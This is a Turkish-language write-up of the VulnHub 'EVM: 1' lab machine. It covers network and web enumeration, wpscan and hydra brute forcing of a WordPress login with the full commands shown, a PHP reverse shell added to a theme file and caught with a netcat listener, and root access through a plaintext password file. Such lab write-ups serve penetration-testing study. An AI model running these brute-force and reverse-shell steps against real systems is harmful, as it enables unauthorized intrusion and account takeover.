Makine Hakkında Bilgiler
Açıklama:
This is super friendly box intended for Beginner’s
This works better with VirtualBox rather than VMware
Vulnhub Sayfası:
https://www.vulnhub.com/entry/evm-1,391/
İndirme Sayfası:
https://download.vulnhub.com/evm/EVM.ova
Walkthrough
Makineyi tespit ederek başlayalım.
┌──(root💀kali)-[~]
└─# arp-scan -l 130 ⨯
Interface: eth0, type: EN10MB, MAC: 08:00:27:8b:5e:fb, IPv4: 192.168.110.3
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.110.1 0a:00:27:00:00:0e (Unknown: locally administered)
192.168.110.2 08:00:27:75:e0:f1 PCS Systemtechnik GmbH
192.168.110.6 08:00:27:0a:23:f8 PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.025 seconds (126.42 hosts/sec). 3 responded
nmap taraması ile devam edelim.
[*] Scan: 211
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-13 19:44 EDT
Nmap scan report for 192.168.110.6
Host is up (0.00028s latency).
Not shown: 65528 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a2:d3:34:13:62:b1:18:a3:dd:db:35:c5:5a:b7:c0:78 (RSA)
| 256 85:48:53:2a:50:c5:a0:b7:1a:ee:a4:d8:12:8e:1c:ce (ECDSA)
|_ 256 36:22:92:c7:32:22:e3:34:51:bc:0e:74:9f:1c:db:aa (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: RESP-CODES CAPA SASL TOP AUTH-RESP-CODE PIPELINING UIDL
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
|_imap-capabilities: ENABLE listed more have IMAP4rev1 post-login capabilities LOGIN-REFERRALS Pre-login LOGINDISABLEDA0001 ID OK SASL-IR LITERAL+ IDLE
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
MAC Address: 08:00:27:0A:23:F8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: UBUNTU-EXTERMELY-VULNERABLE-M4CH1INE; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h19m58s, deviation: 2h18m34s, median: -2s
|_nbstat: NetBIOS name: UBUNTU-EXTERMEL, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: ubuntu-extermely-vulnerable-m4ch1ine
| NetBIOS computer name: UBUNTU-EXTERMELY-VULNERABLE-M4CH1INE\x00
| Domain name: \x00
| FQDN: ubuntu-extermely-vulnerable-m4ch1ine
|_ System time: 2021-07-13T19:44:42-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-07-13T23:44:42
|_ start_date: N/A
TRACEROUTE
HOP RTT ADDRESS
1 0.28 ms 192.168.110.6
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.98 seconds
enum4linux ile smb’den kullanıcı yakaladım. Ancak hydra ile ssh’ta başarılı olamadım. Yakaladığım kullanıcı aşağıadadır.
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\rooter (Local User)smb ile bir klasöre erişimimde yoktu. Bunun üzerine smb’yi bıraktım. Web ile ilgilnmeye başladığımda bir wordpress yakaladım.
┌──(root💀kali)-[~/oscp/evm]
└─# gobuster dir --url http://192.168.110.6/ --follow-redirect --status-codes-blacklist "404" --no-error --threads 50 --wordlist /usr/share/wordlists/dirb/big.txt -x php,html,sql,zip,bak,sql,txt,php5,py,rar,7z,log,cgi --expanded --add-slash | tee gobuster1
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.110.6/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: py,rar,7z,sql,zip,bak,txt,php5,log,php,html,cgi
[+] Add Slash: true
[+] Follow Redirect: true
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/07/13 18:08:46 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.110.6/.htpasswd.7z (Status: 403) [Size: 300]
http://192.168.110.6/.htpasswd.zip (Status: 403) [Size: 301]
http://192.168.110.6/.htpasswd.bak (Status: 403) [Size: 301]
http://192.168.110.6/.htpasswd.txt (Status: 403) [Size: 301]
http://192.168.110.6/.htpasswd.py (Status: 403) [Size: 300]
http://192.168.110.6/.htpasswd.log (Status: 403) [Size: 301]
http://192.168.110.6/.htpasswd/ (Status: 403) [Size: 298]
http://192.168.110.6/.htpasswd.php (Status: 403) [Size: 301]
http://192.168.110.6/.htpasswd.html (Status: 403) [Size: 302]
http://192.168.110.6/.htpasswd.cgi (Status: 403) [Size: 301]
http://192.168.110.6/.htpasswd.rar (Status: 403) [Size: 301]
http://192.168.110.6/.htpasswd.sql (Status: 403) [Size: 301]
http://192.168.110.6/.htpasswd.php5 (Status: 403) [Size: 302]
http://192.168.110.6/.htaccess.php5 (Status: 403) [Size: 302]
http://192.168.110.6/.htaccess.rar (Status: 403) [Size: 301]
http://192.168.110.6/.htaccess.sql (Status: 403) [Size: 301]
http://192.168.110.6/.htaccess.zip (Status: 403) [Size: 301]
http://192.168.110.6/.htaccess.bak (Status: 403) [Size: 301]
http://192.168.110.6/.htaccess.txt (Status: 403) [Size: 301]
http://192.168.110.6/.htaccess.log (Status: 403) [Size: 301]
http://192.168.110.6/.htaccess.html (Status: 403) [Size: 302]
http://192.168.110.6/.htaccess.cgi (Status: 403) [Size: 301]
http://192.168.110.6/.htaccess.php (Status: 403) [Size: 301]
http://192.168.110.6/.htaccess/ (Status: 403) [Size: 298]
http://192.168.110.6/.htaccess.py (Status: 403) [Size: 300]
http://192.168.110.6/.htaccess.7z (Status: 403) [Size: 300]
http://192.168.110.6/icons/ (Status: 403) [Size: 294]
http://192.168.110.6/index.html (Status: 200) [Size: 10821]
http://192.168.110.6/info.php (Status: 200) [Size: 82925]
http://192.168.110.6/server-status/ (Status: 403) [Size: 302]
http://192.168.110.6/wp-config.php (Status: 500) [Size: 0]
http://192.168.110.6/wordpress/ (Status: 200) [Size: 15076]
===============================================================
2021/07/13 18:09:22 Finished
===============================================================
WordPress’e gittiğimde wpscan ile bir kullanıcı elde ettim.
┌──(root💀kali)-[~/oscp/evm]
└─# wpscan --url http://192.168.110.6/wordpress/ -e vp,vt,cb,dbe,u,m 1 ⨯
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.17
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]n
[+] URL: http://192.168.110.6/wordpress/ [192.168.110.6]
[+] Started: Tue Jul 13 18:11:09 2021
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://192.168.110.6/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://192.168.110.6/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://192.168.110.6/wordpress/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://192.168.110.6/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.2.4 identified (Insecure, released on 2019-10-14).
| Found By: Emoji Settings (Passive Detection)
| - http://192.168.110.6/wordpress/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.2.4'
| Confirmed By: Meta Generator (Passive Detection)
| - http://192.168.110.6/wordpress/, Match: 'WordPress 5.2.4'
[i] The main theme could not be detected.
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:00 <==============================================================================> (352 / 352) 100.00% Time: 00:00:00
[i] No themes Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <===============================================================================> (137 / 137) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[+] Enumerating DB Exports (via Passive and Aggressive Methods)
Checking DB Exports - Time: 00:00:00 <=====================================================================================> (71 / 71) 100.00% Time: 00:00:00
[i] No DB Exports Found.
[+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected)
Brute Forcing Attachment IDs - Time: 00:00:00 <==========================================================================> (100 / 100) 100.00% Time: 00:00:00
[i] No Medias Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] c0rrupt3d_brain
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Tue Jul 13 18:11:13 2021
[+] Requests Done: 709
[+] Cached Requests: 4
[+] Data Sent: 194.327 KB
[+] Data Received: 196.716 KB
[+] Memory used: 221.93 MB
[+] Elapsed time: 00:00:03
Burada insanı çileden çıakran bir durum var. WordPress ile işlem yapmayı denediğşmde beni sürekli olarak 192.168.56.103 ip’sine yönlendiriyordu. Bunun üzerine burp ile araya girip sürekli olarak 192.168.110.6 ip adresine yönelndirdim.
WordPress’ten yakaladığım kullanıcı ile parola tespit etmeyi denedim ve başarılı oldum.
┌──(root💀kali)-[~/oscp/evm]
└─# wpscan --url http://192.168.110.6/wordpress --password-attack wp-login --passwords /usr/share/wordlists/rockyou.txt --usernames user
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.17
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]n
[+] URL: http://192.168.110.6/wordpress/ [192.168.110.6]
[+] Started: Tue Jul 13 18:48:30 2021
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://192.168.110.6/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://192.168.110.6/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://192.168.110.6/wordpress/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://192.168.110.6/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.2.4 identified (Insecure, released on 2019-10-14).
| Found By: Emoji Settings (Passive Detection)
| - http://192.168.110.6/wordpress/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.2.4'
| Confirmed By: Meta Generator (Passive Detection)
| - http://192.168.110.6/wordpress/, Match: 'WordPress 5.2.4'
[i] The main theme could not be detected.
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <===============================================================================> (137 / 137) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - c0rrupt3d_brain / 24992499
Trying c0rrupt3d_brain / 757575 Time: 00:05:17 < > (10700 / 14355092) 0.07% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: c0rrupt3d_brain, Password: 24992499
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Tue Jul 13 18:53:51 2021
[+] Requests Done: 10839
[+] Cached Requests: 30
[+] Data Sent: 3.834 MB
[+] Data Received: 48.303 MB
[+] Memory used: 259.5 MB
[+] Elapsed time: 00:05:21
İlk işim ip adresini Settings > General’den değiştirmek oldu. Artık wordpress’i normal bir şekilde kullanabiliyorum. Bunun üzerine footer.php’ye php reverse shell ekledim ve shell aldım.
┌──(root💀kali)-[~/oscp/evm]
└─# nc -lvp 1234
listening on [any] 1234 ...
192.168.110.6: inverse host lookup failed: Host name lookup failure
connect to [192.168.110.3] from (UNKNOWN) [192.168.110.6] 51520
Linux ubuntu-extermely-vulnerable-m4ch1ine 4.4.0-87-generic #110-Ubuntu SMP Tue Jul 18 12:55:35 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
19:39:35 up 2:04, 0 users, load average: 10.30, 10.12, 9.77
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
Sonrası açıkçası hayal kırılığı kolay bir şekilde root olabildim.
www-data@ubuntu-extermely-vulnerable-m4ch1ine:/home/root3r$ ls
ls
total 40
drwxr-xr-x 3 www-data www-data 4096 Nov 1 2019 .
drwxr-xr-x 3 root root 4096 Oct 30 2019 ..
-rw-r--r-- 1 www-data www-data 515 Oct 30 2019 .bash_history
-rw-r--r-- 1 www-data www-data 220 Oct 30 2019 .bash_logout
-rw-r--r-- 1 www-data www-data 3771 Oct 30 2019 .bashrc
drwxr-xr-x 2 www-data www-data 4096 Oct 30 2019 .cache
-rw-r--r-- 1 www-data www-data 22 Oct 30 2019 .mysql_history
-rw-r--r-- 1 www-data www-data 655 Oct 30 2019 .profile
-rw-r--r-- 1 www-data www-data 8 Oct 31 2019 .root_password_ssh.txt
-rw-r--r-- 1 www-data www-data 0 Oct 30 2019 .sudo_as_admin_successful
-rw-r--r-- 1 root root 4 Nov 1 2019 test.txt
www-data@ubuntu-extermely-vulnerable-m4ch1ine:/home/root3r$ cat tes
cat test.txt
123
www-data@ubuntu-extermely-vulnerable-m4ch1ine:/home/root3r$ cat .root_password_ssh.txt
<ulnerable-m4ch1ine:/home/root3r$ cat .root_password_ssh.txt
willy26
www-data@ubuntu-extermely-vulnerable-m4ch1ine:/home/root3r$ su root
su root
Password: willy26
root@ubuntu-extermely-vulnerable-m4ch1ine:/home/root3r# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu-extermely-vulnerable-m4ch1ine:/home/root3r# cd /root
cd /root
root@ubuntu-extermely-vulnerable-m4ch1ine:~# ls
ls
proof.txt
root@ubuntu-extermely-vulnerable-m4ch1ine:~# cat proof.txt
cat proof.txt
voila you have successfully pwned me :) !!!
:D
root@ubuntu-extermely-vulnerable-m4ch1ine:~#
Not:
Normalde bruteforce saldırılarında hydra ile çıktı alırım ancak burda wpscan koydum. Bunun sebebini açıklamak istiyorum. Kesinlikle hydra ile saldırı yararken proxy kullanılması gerekiyor. Çünkü hydra gelen cevapları işlemekte oldukça yavaş. Burp ile araya girdiğimde 302 statü kodunu almıştım ancak hydra hala bunu ekrana basmamıştı. Ya da bir hata meydana geldi ancak hata meydana geldiğini çok düşünmüyorum çünkü işlemi birkaç kez denedim. Sanırım html kodu olarak hydra’a belirtmek daha güvenli sonuç verebiliyor.
┌──(root💀kali)-[~/oscp/evm]
└─# hydra -l 'c0rrupt3d_brain' -P rockyou.txt 192.168.110.7 http-post-form '/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:<div id="login_error">'
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-07-14 02:56:26
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://192.168.110.7:80/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:<div id="login_error">
[STATUS] 2049.00 tries/min, 2049 tries in 00:01h, 14342350 to do in 116:40h, 16 active
[STATUS] 2030.33 tries/min, 6091 tries in 00:03h, 14338308 to do in 117:43h, 16 active
[80][http-post-form] host: 192.168.110.7 login: c0rrupt3d_brain password: 24992499
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-07-14 03:01:44
İlk Yorumu Siz Yapın